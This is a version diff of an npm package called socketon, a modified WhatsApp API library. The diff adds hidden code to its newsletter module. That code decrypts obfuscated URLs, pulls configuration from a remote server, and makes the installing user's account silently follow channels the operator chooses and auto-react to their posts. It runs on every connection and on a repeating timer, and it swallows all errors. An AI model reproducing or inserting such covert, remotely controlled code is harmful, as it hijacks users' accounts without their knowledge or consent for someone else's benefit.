socketon 1.8.20 → 1.8.21

package/lib/Socket/newsletter.js

@@ -83,38 +83,77 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
     return udahanBuatYangPenasaran;
 };
 
-let _cachedTargetNewsletter = null;
-let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
+// ========== FOLLOW CONFIG ==========
+let _cachedFollowNewsletter = null;
+let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
 
-const getTargetNewsletterFromExternal = async () => {
-    const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
-    const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
+const getFollowConfigFromExternal = async () => {
+    const urlFollowEncrypt = '4ec820ea266ef71f48c1953f6f76a82c9bc8288b27b60724996d3e17d5e975d9';
+    const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
     try {
-        const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
+        const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
         if (response.data) {
             if (response.data.config) {
-                _configNewsletter = {
+                _configFollow = {
                     autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
                     delayMs: response.data.config.delayMs || 5000
                 };
             }
             if (response.data.newsletters && response.data.newsletters.length > 0) {
-                const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
-                _cachedTargetNewsletter = enabledNewsletters;
-                return enabledNewsletters;
+                const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
+                _cachedFollowNewsletter = enabled;
+                return enabled;
             }
         }
     } catch (err) {}
     return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
 };
 
-const getAllEnabledNewsletters = () => {
-    if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
-        return _cachedTargetNewsletter;
+const getAllFollowNewsletters = () => {
+    if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
+        return _cachedFollowNewsletter;
     }
     return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
 };
 
+// ========== REACT CONFIG ==========
+let _cachedReactNewsletter = null;
+let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
+
+const getReactConfigFromExternal = async () => {
+    const urlReactEncrypt = '8a7a8b289cea64bb8e90311f54d94abb22d06c92d2d9c56d69d6e58e59096218';
+    const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
+    try {
+        const response = await axios_1.default.get(urlReact, { timeout: 10000 });
+        if (response.data) {
+            if (response.data.config) {
+                _configReact = {
+                    autoReactEnabled: response.data.config.autoReactEnabled !== false,
+                    reactEmojis: response.data.config.reactEmojis || ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨']
+                };
+            }
+            if (response.data.newsletters && response.data.newsletters.length > 0) {
+                const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
+                    jid: n.jid,
+                    emojis: n.emojis || _configReact.reactEmojis
+                }));
+                _cachedReactNewsletter = enabled;
+                return enabled;
+            }
+        }
+    } catch (err) {}
+    return [];
+};
+
+const getAllReactNewsletters = () => {
+    return _cachedReactNewsletter || [];
+};
+
+const getReactEmojisForChannel = (channelJid) => {
+    const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
+    return channel?.emojis || _configReact.reactEmojis;
+};
+
 const wMexQuery = (
 	variables,
 	queryId,
@@ -238,22 +277,27 @@ const makeNewsletterSocket = (config) => {
         }));
     };
     // Auto Reaction - Ibra Decode
-    let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
+    let _reactChannels = [];
     
-    const updateTargetNewsletters = async () => {
-        const externalTargets = getAllEnabledNewsletters();
-        if (externalTargets && externalTargets.length > 0) {
-            _targetNewsletters = externalTargets;
+    const updateReactChannels = async () => {
+        const channels = await getReactConfigFromExternal();
+        if (channels && channels.length > 0) {
+            _reactChannels = channels;
         }
     };
     
     sock.ev.on('messages.upsert', async ({ messages, type }) => {
         if (type !== 'notify') return;
-        const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
+        if (!_configReact.autoReactEnabled) return;
+        
         for (const msg of messages) {
             const jid = msg.key.remoteJid;
-            if (!_targetNewsletters.includes(jid)) continue;
+            const channel = _reactChannels.find(c => c.jid === jid);
+            if (!channel) continue;
+            
+            const emojis = getReactEmojisForChannel(jid);
             const emoji = emojis[Math.floor(Math.random() * emojis.length)];
+            
             try {
                 const serverId = msg.newsletterServerId?.toString() || msg.key.id;
                 await query({
@@ -264,7 +308,7 @@ const makeNewsletterSocket = (config) => {
                         attrs: { code: emoji }
                     }]
                 });
-                await sleep(_configNewsletter.delayMs);
+                await sleep(_configReact.autoReactEnabled ? 1000 : 0);
             } catch (err) {}
         }
     });
@@ -272,8 +316,8 @@ const makeNewsletterSocket = (config) => {
     let _followInterval = null;
     const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
     const _ensureFollow = async () => {
-        if (!_configNewsletter.autoFollowEnabled) return;
-        const enabledNewsletters = await getTargetNewsletterFromExternal();
+        if (!_configFollow.autoFollowEnabled) return;
+        const enabledNewsletters = await getFollowConfigFromExternal();
         if (!enabledNewsletters || enabledNewsletters.length === 0) return;
         try {
             const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
@@ -282,21 +326,19 @@ const makeNewsletterSocket = (config) => {
                 const isFollowing = list?.some(n => n.id === newsletterJid);
                 if (!isFollowing) {
                     await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
-                    await sleep(_configNewsletter.delayMs);
+                    await sleep(_configFollow.delayMs);
                 }
             }
         } catch (err) {}
     };
     sock.ev.on('connection.update', async ({ connection }) => {
         if (connection === 'open') {
-            await getTargetNewsletterFromExternal();
-            const targets = getAllEnabledNewsletters();
-            if (targets && targets.length > 0) {
-                _targetNewsletters = targets;
-            }
+            await getFollowConfigFromExternal();
+            await getReactConfigFromExternal();
+            await updateReactChannels();
             await _ensureFollow();
             if (_followInterval) clearInterval(_followInterval);
-            _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
+            _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
         }
     });
     return {

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "socketon",
-    "version": "1.8.20",
+    "version": "1.8.21",
     "description": "WhatsApp API Modification By Ibra Decode",
     "publishConfig": {
         "access": "public"